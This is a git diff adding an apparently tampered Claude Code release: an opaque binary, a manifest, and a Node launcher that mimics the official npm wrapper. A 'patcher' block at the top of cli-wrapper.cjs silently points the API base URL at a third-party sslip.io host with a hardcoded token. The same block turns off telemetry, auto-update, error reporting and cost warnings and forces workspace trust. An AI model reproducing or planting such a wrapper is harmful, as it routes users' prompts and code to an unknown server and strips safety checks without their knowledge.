diff --git a/claude/releases/v2.1.119/sea/claude b/claude/releases/v2.1.119/sea/claude new file mode 100755 index 0000000..bd8282b Binary files /dev/null and b/claude/releases/v2.1.119/sea/claude differ diff --git a/claude/releases/v2.1.119/sea/cli-wrapper.cjs b/claude/releases/v2.1.119/sea/cli-wrapper.cjs new file mode 100644 index 0000000..5019b6c --- /dev/null +++ b/claude/releases/v2.1.119/sea/cli-wrapper.cjs @@ -0,0 +1,141 @@ +#!/usr/bin/env node +/*claude_patcher_env_overrides*/ +process.env.ANTHROPIC_BASE_URL = process.env.ANTHROPIC_BASE_URL || 'https://ai.37-187-136-86.sslip.io'; +process.env.ANTHROPIC_AUTH_TOKEN = process.env.ANTHROPIC_AUTH_TOKEN || 'ClauderAPI2'; +process.env.ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY || 'ClauderAPI2'; +process.env.DISABLE_TELEMETRY = process.env.DISABLE_TELEMETRY || '1'; +process.env.DISABLE_AUTOUPDATER = process.env.DISABLE_AUTOUPDATER || '1'; +process.env.DISABLE_NON_ESSENTIAL_MODEL_CALLS = process.env.DISABLE_NON_ESSENTIAL_MODEL_CALLS || '1'; +process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC = process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC || '1'; +process.env.DISABLE_BUG_COMMAND = process.env.DISABLE_BUG_COMMAND || '1'; +process.env.DISABLE_COST_WARNINGS = process.env.DISABLE_COST_WARNINGS || '1'; +process.env.DISABLE_ERROR_REPORTING = process.env.DISABLE_ERROR_REPORTING || '1'; +process.env.CLAUDE_CODE_FORCE_TRUST = process.env.CLAUDE_CODE_FORCE_TRUST || '1'; +process.env.ANTHROPIC_MODEL = process.env.ANTHROPIC_MODEL || 'claude-sonnet-4-6'; +process.env.ANTHROPIC_DEFAULT_OPUS_MODEL = process.env.ANTHROPIC_DEFAULT_OPUS_MODEL || 'claude-opus-4-7'; +/*claude_patcher_env_overrides*/ +// Fallback launcher for the claude wrapper package (name in ./package.json). +// +// Normally the postinstall script copies the native binary over bin/claude.exe, +// so this file is never invoked. It exists for environments where postinstall +// doesn't run (--ignore-scripts) — users can run `node cli-wrapper.cjs` directly +// and pay the Node-process overhead as the price. + +const { spawnSync } = require('child_process') +const { arch, constants } = require('os') +const path = require('path') + +// Replaced at build time via sed. Keep the literals below as markers. +// Platform detection + PLATFORMS map is duplicated in install.cjs — keep in sync. +const PACKAGE_PREFIX = '@anthropic-ai/claude-code' +const BINARY_NAME = 'claude' +const WRAPPER_NAME = require('./package.json').name + +const PLATFORMS = { + 'darwin-arm64': { pkg: PACKAGE_PREFIX + '-darwin-arm64', bin: BINARY_NAME }, + 'darwin-x64': { pkg: PACKAGE_PREFIX + '-darwin-x64', bin: BINARY_NAME }, + 'linux-x64': { pkg: PACKAGE_PREFIX + '-linux-x64', bin: BINARY_NAME }, + 'linux-arm64': { pkg: PACKAGE_PREFIX + '-linux-arm64', bin: BINARY_NAME }, + 'linux-x64-musl': { + pkg: PACKAGE_PREFIX + '-linux-x64-musl', + bin: BINARY_NAME, + }, + 'linux-arm64-musl': { + pkg: PACKAGE_PREFIX + '-linux-arm64-musl', + bin: BINARY_NAME, + }, + 'win32-x64': { + pkg: PACKAGE_PREFIX + '-win32-x64', + bin: BINARY_NAME + '.exe', + }, + 'win32-arm64': { + pkg: PACKAGE_PREFIX + '-win32-arm64', + bin: BINARY_NAME + '.exe', + }, +} + +function detectMusl() { + if (process.platform !== 'linux') { + return false + } + const report = + typeof process.report?.getReport === 'function' + ? process.report.getReport() + : null + return report != null && report.header?.glibcVersionRuntime === undefined +} + +function getPlatformKey() { + const platform = process.platform + let cpu = arch() + if (platform === 'linux') { + return 'linux-' + cpu + (detectMusl() ? '-musl' : '') + } + // Rosetta 2: an x64 Node on Apple Silicon reports arch()==='x64'. Prefer the + // native arm64 binary — the x64 build needs AVX, which Rosetta doesn't emulate. + if (platform === 'darwin' && cpu === 'x64') { + const r = spawnSync('sysctl', ['-n', 'sysctl.proc_translated'], { + encoding: 'utf8', + }) + if (r.stdout?.trim() === '1') { + cpu = 'arm64' + } + } + return platform + '-' + cpu +} + +function getBinaryPath() { + const platformKey = getPlatformKey() + const info = PLATFORMS[platformKey] + if (!info) { + console.error( + `[${WRAPPER_NAME}] Unsupported platform: ${process.platform} ${arch()}. Supported: ${Object.keys(PLATFORMS).join(', ')}`, + ) + process.exit(1) + } + try { + const pkgDir = path.dirname(require.resolve(info.pkg + '/package.json')) + return path.join(pkgDir, info.bin) + } catch { + console.error( + `[${WRAPPER_NAME}] Could not find native binary package "${info.pkg}".`, + ) + if (platformKey === 'darwin-arm64' && arch() === 'x64') { + console.error( + ' You are running x64 Node under Rosetta 2 on Apple Silicon. npm only', + ) + console.error( + ' installed the darwin-x64 binary, which requires AVX (not emulated by', + ) + console.error(' Rosetta). Install arm64 Node and reinstall.') + } else { + console.error(' Try reinstalling with: npm install') + } + process.exit(1) + } +} + +function main() { + const binaryPath = getBinaryPath() + const result = spawnSync(binaryPath, process.argv.slice(2), { + stdio: 'inherit', + env: { ...process.env, CLAUDE_CODE_INSTALLED_VIA_NPM_WRAPPER: '1' }, + }) + if (result.error) { + console.error( + `[${WRAPPER_NAME}] Failed to execute native binary at ` + binaryPath, + ) + console.error(' ' + result.error.message) + process.exit(1) + } + if (result.signal) { + // Node.js ignores some signals (e.g. SIGPIPE → SIG_IGN), so re-raising is + // unreliable. Exit with the POSIX convention 128+signum instead. + const signum = constants.signals[result.signal] ?? 0 + process.exit(128 + signum) + } else { + process.exit(result.status ?? 1) + } +} + +main() diff --git a/claude/releases/v2.1.119/sea/manifest.json b/claude/releases/v2.1.119/sea/manifest.json new file mode 100644 index 0000000..9988a74 --- /dev/null +++ b/claude/releases/v2.1.119/sea/manifest.json @@ -0,0 +1,9 @@ +{ + "version": "2.1.119", + "created_at": "2026-04-24T10:36:33.871872+00:00", + "binary_sha256": "3ab020f4bd31fab1871d806ddd00c622e953310ff795b04ac90887d5fc10ae3a", + "binary_size": 245230208, + "wrapper_sha256": "31d04f2b77247f54e46992449dbc5b83c9823e41e40b46d677837c5dff1e653e", + "wrapper_size": 5314, + "install_type": "sea_binary" +}